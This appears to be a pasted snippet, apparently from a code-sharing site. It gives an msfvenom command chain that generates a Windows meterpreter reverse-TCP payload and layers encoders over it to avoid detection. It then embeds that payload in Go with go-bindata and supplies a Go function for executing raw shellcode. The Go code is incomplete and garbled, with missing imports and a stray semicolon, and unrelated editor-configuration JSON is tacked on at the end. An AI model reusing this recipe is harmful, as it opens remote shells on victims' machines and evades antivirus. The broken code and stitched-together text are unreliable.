msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your IP> LPORT=<your port> -f raw -b '\x00' | msfvenom -e x86/xor_dynamic -i - -f raw -b '\x00' | msfvenom -a x86 --platform windows -e x86/countdown -i - -f raw --smallest -b '\x00' -o meterpreter_reverse.bin
====
go get -u github.com/go-bindata/go-bindata/...
===
go-bindata -pkg main -o shell.go meterpreter_reverse.bin
===
Jakub Nowak
2:41 PM
package main
import (
"os/exec"
)
func run_shellcode(shellcode []byte) {
if len(shellcode)%4 != 0 { // must be multiple of 4
shellcode = append(shellcode, make([]byte, 4-len(shellcode)%4)...)
}
// Convert to []uintptr
var shellcodePtrs []uintptr
for i := 0; i < len(shellcode); i += 4 {
shellcodePtrs = append(shellcodePtrs, *(*uintptr)(unsafe.Pointer(&shellcode;[i])))
}
syscall.Syscall(shellcodePtrs[0], 0, 0, 0, 0) // assuming that the shellcode begins with a valid address
}
func
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}